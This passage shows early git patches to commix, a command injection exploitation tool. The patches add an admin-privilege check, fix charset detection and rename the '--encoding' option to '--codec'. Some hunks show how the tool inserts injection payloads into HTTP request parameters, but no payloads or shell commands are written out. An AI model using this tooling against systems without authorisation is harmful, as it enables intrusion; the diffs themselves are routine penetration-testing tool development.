From 3da1879bd7271249ad9684ec9582c523d882a0c2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 9 Oct 2021 10:42:46 +0300 Subject: [PATCH 001/560] Fixes https://github.com/commixproject/commix/issues/693 --- .../dns_exfiltration/dns_exfiltration.py | 7 +++--- .../icmp_exfiltration/icmp_exfiltration.py | 7 +++--- src/utils/common.py | 24 +++++++++++++++++++ src/utils/install.py | 10 ++++---- src/utils/settings.py | 6 ++++- 5 files changed, 42 insertions(+), 12 deletions(-) diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 94c760a0ab..c8146a7405 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -22,6 +22,7 @@ import threading from src.utils import menu from src.utils import logs +from src.utils import common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -178,9 +179,9 @@ def dns_exfiltration_handler(url, http_request_method): # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." + # You need to have administrative privileges to run this module. + if not common.running_as_admin(): + err_msg = "You need to have administrative privileges to run this module." print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 3d4ecb63de..699da88de5 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -24,6 +24,7 @@ import threading from src.utils import menu from src.utils import logs +from src.utils import common from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor @@ -205,9 +206,9 @@ def icmp_exfiltration_handler(url, http_request_method): # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False - # You need to have root privileges to run this script - if os.geteuid() != 0: - err_msg = "You need to have root privileges to run this option." + # You need to have administrative privileges to run this module. + if not common.running_as_admin(): + err_msg = "You need to have administrative privileges to run this module." print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) diff --git a/src/utils/common.py b/src/utils/common.py index 9c7dfaa30a..ed9f1cc96f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -23,9 +23,33 @@ import traceback from src.utils import menu from src.utils import settings +from src.thirdparty import six from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +""" +Returns True if the current process is run under admin privileges +""" +def running_as_admin(): + is_admin = False + if settings.PLATFORM in ("posix", "mac"): + _ = os.geteuid() + if isinstance(_, (float, six.integer_types)) and _ == 0: + is_admin = True + + elif settings.IS_WINDOWS: + import ctypes + _ = ctypes.windll.shell32.IsUserAnAdmin() + if isinstance(_, (float, six.integer_types)) and _ == 1: + is_admin = True + else: + err_msg = settings.APPLICATION + " is not able to check if you are running it " + err_msg += "as an administrator account on this platform. " + print(settings.print_error_msg(err_msg)) + is_admin = True + + return is_admin + """ Get total number of days from last update """ diff --git a/src/utils/install.py b/src/utils/install.py index 26e6b5c4bf..c2d4176123 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -18,6 +18,7 @@ import platform import subprocess from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import requirments from src.thirdparty.six.moves import input as _input @@ -58,12 +59,11 @@ def installer(): sys.stdout.flush() # Check if OS is Linux. - if platform.system() == "Linux": - - # You need to have root privileges to run this script - if os.geteuid() != 0: + if settings.PLATFORM == "posix": + # You need to have administrative privileges to run this script. + if not common.running_as_admin(): print(settings.SINGLE_WHITESPACE) - err_msg = "You need to have root privileges to run this option!" + err_msg = "You need to have administrative privileges to run this option." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 328b38c916..75a2a754f0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -317,6 +317,10 @@ def sys_argv_errors(): # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" +# The name of the operating system dependent module imported. +PLATFORM = os.name +IS_WIN = PLATFORM == "nt" + # Check if OS is Windows. IS_WINDOWS = hasattr(sys, "getwindowsversion") From 21d9d814ea97343948cb9abcf5d0e98f7e139d6d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Oct 2021 08:30:33 +0300 Subject: [PATCH 002/560] Minor update --- src/utils/install.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/install.py b/src/utils/install.py index c2d4176123..6c11a7c1d9 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -107,7 +107,7 @@ def installer(): err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies - print(Back.RED + err_msg + Style.RESET_ALL) + print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 75a2a754f0..9cc1e54308 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 33bcb435c86178e4b00ff2b2f6f16d405b390a31 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Oct 2021 07:51:15 +0300 Subject: [PATCH 003/560] Minor update --- src/utils/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9cc1e54308..ac643021b6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -319,10 +319,10 @@ def sys_argv_errors(): # The name of the operating system dependent module imported. PLATFORM = os.name -IS_WIN = PLATFORM == "nt" +IS_WINDOWS = PLATFORM == "nt" # Check if OS is Windows. -IS_WINDOWS = hasattr(sys, "getwindowsversion") +#IS_WINDOWS = hasattr(sys, "getwindowsversion") # Git URL. GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git" From f0bfddbed696ea5df4354aa1dfbbc6d99fac7ff5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Oct 2021 09:31:53 +0300 Subject: [PATCH 004/560] Minor update regarding web pages charset identification --- src/core/requests/requests.py | 82 +++++++++++++++++------------------ src/utils/settings.py | 2 +- 2 files changed, 42 insertions(+), 42 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bf04817748..e2422c4646 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1010,53 +1010,53 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): Target's encoding detection """ def encoding_detection(response): - if not menu.options.encoding: - charset_detected = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + charset_detected = False + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the indicated web-page charset. " + sys.stdout.write(settings.print_debug_msg(debug_msg)) + sys.stdout.flush() + try: + # Detecting charset try: - # Detecting charset - try: - # Support for python 2.7.x - charset = response.headers.getparam('charset') - except AttributeError: - # Support for python 3.x - charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : + # Support for python 2.7.x + charset = response.headers.getparam('charset') + except AttributeError: + # Support for python 3.x + charset = response.headers.get_content_charset() + if charset != None and len(charset) != 0 : + charset_detected = True + else: + content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] + if len(content) != 0 : + charset = content charset_detected = True else: - content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] - if len(content) != 0 : - charset = content - charset_detected = True - else: - # Check if HTML5 format - charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] - if len(charset) != 0 : - charset_detected = True - # Check the identifyied charset - if charset_detected : + # Check if HTML5 format + charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0] + if len(charset) != 0 : + charset_detected = True + # Check the identifyied charset + if charset_detected : + if not menu.options.encoding: settings.DEFAULT_PAGE_ENCODING = charset - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." - print(settings.print_warning_msg(warn_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " - debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: + warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." + print(settings.print_warning_msg(warn_msg)) else: - pass - except: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The indicated web-page charset appears to be " + debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." + print(settings.print_bold_debug_msg(debug_msg)) + else: pass - if charset_detected == False and settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify indicated web-page charset." - print(settings.print_warning_msg(warn_msg)) + except: + pass + if charset_detected == False and settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + warn_msg = "Heuristics have failed to identify indicated web-page charset." + print(settings.print_warning_msg(warn_msg)) """ Procedure for target application identification diff --git a/src/utils/settings.py b/src/utils/settings.py index ac643021b6..4e38ec608a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 50b90894d8f1f6c7c4f6826f56bad3df48c97143 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 14 Oct 2021 08:37:19 +0300 Subject: [PATCH 005/560] Minor refactoring --- src/core/main.py | 1 + src/utils/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e4aec047f4..a40e74a3d2 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -694,6 +694,7 @@ def main(filename, url): raise SystemExit() else: settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() + settings.UNICODE_ENCODING = menu.options.encoding.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: warn_msg = "Swithing '--header' to '--headers' " diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e38ec608a..a708358243 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -593,7 +593,7 @@ def sys_argv_errors(): # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf8" +UNICODE_ENCODING = "utf-8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" From 42f2bc1189da16b57dc5ab45b72fbdb1a5caadb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Oct 2021 09:05:58 +0300 Subject: [PATCH 006/560] Fixes https://github.com/commixproject/commix/issues/649, https://github.com/commixproject/commix/issues/656 --- src/core/injections/controller/checks.py | 9 ++++----- src/core/main.py | 1 - src/core/requests/requests.py | 2 -- src/utils/settings.py | 4 ++-- 4 files changed, 6 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ae17d32664..703cefdc47 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -168,16 +168,15 @@ def page_encoding(response, action): settings.PAGE_COMPRESSION = False try: if action == "encode" and type(page) == str: - return page.encode(settings.UNICODE_ENCODING) + return page.encode(settings.UNICODE_ENCODING, errors="ignore") else: - return page.decode(settings.UNICODE_ENCODING) + return page.decode(settings.UNICODE_ENCODING, errors="ignore") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True - except LookupError as err: - err_msg = "The '" + settings.DEFAULT_PAGE_ENCODING + "' is " + str(err).split(":")[0] + ". " + except (LookupError, TypeError) as err: + err_msg = "The '" + settings.UNICODE_ENCODING + "' is " + str(err).split(":")[0] + ". " _ = True - except AttributeError: pass if _: err_msg += "You are advised to rerun with" diff --git a/src/core/main.py b/src/core/main.py index a40e74a3d2..5876aafac0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -693,7 +693,6 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower() settings.UNICODE_ENCODING = menu.options.encoding.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e2422c4646..253ea51750 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1037,8 +1037,6 @@ def encoding_detection(response): charset_detected = True # Check the identifyied charset if charset_detected : - if not menu.options.encoding: - settings.DEFAULT_PAGE_ENCODING = charset if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: diff --git a/src/utils/settings.py b/src/utils/settings.py index a708358243..56d38bf894 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -593,7 +593,7 @@ def sys_argv_errors(): # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf-8" +UNICODE_ENCODING = "utf8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" From d8d1a6b0552deeca30b24b6d15f824104aeb32ca Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Oct 2021 08:57:33 +0300 Subject: [PATCH 007/560] The `--encoding` option has been replaced with `--codec`. --- doc/CHANGELOG.md | 3 +++ src/core/convert.py | 6 +++--- .../blind/techniques/time_based/tb_injector.py | 4 ++-- src/core/injections/controller/checks.py | 10 +++++----- src/core/injections/controller/controller.py | 2 +- .../techniques/classic/cb_injector.py | 4 ++-- .../techniques/eval_based/eb_injector.py | 4 ++-- .../semiblind/techniques/file_based/fb_injector.py | 4 ++-- .../techniques/tempfile_based/tfb_injector.py | 4 ++-- src/core/main.py | 10 +++++----- .../modules/dns_exfiltration/dns_exfiltration.py | 2 +- .../modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/requests/headers.py | 6 +++--- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 12 ++++++------ src/core/requests/tor.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/utils/common.py | 6 +++--- src/utils/crawler.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 12 +++++++++--- src/utils/session_handler.py | 14 +++++++------- src/utils/settings.py | 8 ++++---- 27 files changed, 70 insertions(+), 61 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 605a451e9a..002a5b5f03 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.4 (TBA) +* Replaced: The `--encoding` option has been replaced with `--codec`. + ## Version 3.3 (2021-09-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`). diff --git a/src/core/convert.py b/src/core/convert.py index a6be82373a..f3af657c5e 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -24,16 +24,16 @@ def hexdecode(value): value = codecs.decode(''.join(value.split()), "hex") except LookupError: value = binascii.unhexlify(value) - value = value.decode(settings.UNICODE_ENCODING) + value = value.decode(settings.DEFAULT_CODEC) return value def hexencode(value): if isinstance(value, six.text_type): - value = value.encode(settings.UNICODE_ENCODING) + value = value.encode(settings.DEFAULT_CODEC) try: value = codecs.encode(value, "hex") except LookupError: value = binascii.hexlify(value) - value = value.decode(settings.UNICODE_ENCODING) + value = value.decode(settings.DEFAULT_CODEC) return value diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 73a8b6e85c..589a31325d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -71,7 +71,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -122,7 +122,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 703cefdc47..cfdb17ce4c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -168,19 +168,19 @@ def page_encoding(response, action): settings.PAGE_COMPRESSION = False try: if action == "encode" and type(page) == str: - return page.encode(settings.UNICODE_ENCODING, errors="ignore") + return page.encode(settings.DEFAULT_CODEC, errors="ignore") else: - return page.decode(settings.UNICODE_ENCODING, errors="ignore") + return page.decode(settings.DEFAULT_CODEC, errors="ignore") except (UnicodeEncodeError, UnicodeDecodeError) as err: err_msg = "The " + str(err).split(":")[0] + ". " _ = True except (LookupError, TypeError) as err: - err_msg = "The '" + settings.UNICODE_ENCODING + "' is " + str(err).split(":")[0] + ". " + err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". " _ = True pass if _: err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.encoding == None] + " the option '--encoding'." + err_msg += ('out', '')[menu.options.codec == None] + " the option '--codec'." print(settings.print_critical_msg(str(err_msg))) raise SystemExit() @@ -881,7 +881,7 @@ def list_tamper_scripts(): print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - content = open(script, "rb").read().decode(settings.UNICODE_ENCODING) + content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 50f760530b..88bde84ab9 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -99,7 +99,7 @@ def heuristic_basic(url, http_request_method): request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) else: data = menu.options.data.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 4db4c93717..8a9c5d9391 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -79,7 +79,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -230,7 +230,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 013810fbf0..1bbcd67e1e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -74,7 +74,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -218,7 +218,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index c22a01a34e..cdb20f7c65 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -84,7 +84,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -218,7 +218,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index dcaba9fbe8..3b11178120 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -75,7 +75,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) @@ -129,7 +129,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/main.py b/src/core/main.py index 5876aafac0..8cf11964fd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -50,7 +50,7 @@ # Set default encoding _reload_module(sys) -#sys.setdefaultencoding(settings.UNICODE_ENCODING) +#sys.setdefaultencoding(settings.DEFAULT_CODEC) if settings.IS_WINDOWS: import codecs @@ -685,15 +685,15 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.encoding: - if menu.options.encoding.lower() not in settings.ENCODING_LIST: - err_msg = "The provided charset '" + menu.options.encoding + "' is unknown. " + if menu.options.codec: + if menu.options.codec.lower() not in settings.ENCODING_LIST: + err_msg = "The provided charset '" + menu.options.codec + "' is unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: - settings.UNICODE_ENCODING = menu.options.encoding.lower() + settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split("\\n"))> 1: warn_msg = "Swithing '--header' to '--headers' " diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index c8146a7405..248b6ccdc8 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -74,7 +74,7 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): request = url + data else: values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) + data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) request = _urllib.request.Request(url=url, data=data) sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 699da88de5..d390152942 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -90,7 +90,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): req = url + data else: values = {vuln_parameter:payload} - data = _urllib.parse.urlencode(values).encode(settings.UNICODE_ENCODING) + data = _urllib.parse.urlencode(values).encode(settings.DEFAULT_CODEC) request = _urllib.request.Request(url=url, data=data) try: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 208ade5e22..ce837e8dd4 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -85,7 +85,7 @@ def print_http_response(response_headers, code, page): try: http_response_content(page) except AttributeError: - http_response_content(page.decode(settings.UNICODE_ENCODING)) + http_response_content(page.decode(settings.DEFAULT_CODEC)) """ Checking the HTTP Headers & HTTP/S Request. @@ -326,7 +326,7 @@ def do_check(request): try: settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') + b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') request.add_header("Authorization", "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: @@ -401,7 +401,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name # Add HTTP Header name / value to the HTTP request if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - request.add_header(http_header_name.encode(settings.UNICODE_ENCODING), http_header_value.encode(settings.UNICODE_ENCODING)) + request.add_header(http_header_name.encode(settings.DEFAULT_CODEC), http_header_value.encode(settings.DEFAULT_CODEC)) except: pass diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index b64edbf3f5..dc6bf64891 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -29,7 +29,7 @@ def do_check(url): info_msg = "Setting the HTTP proxy for all HTTP requests. " print(settings.print_info_msg(info_msg)) if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index eeb82278e6..d6d7333194 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -93,7 +93,7 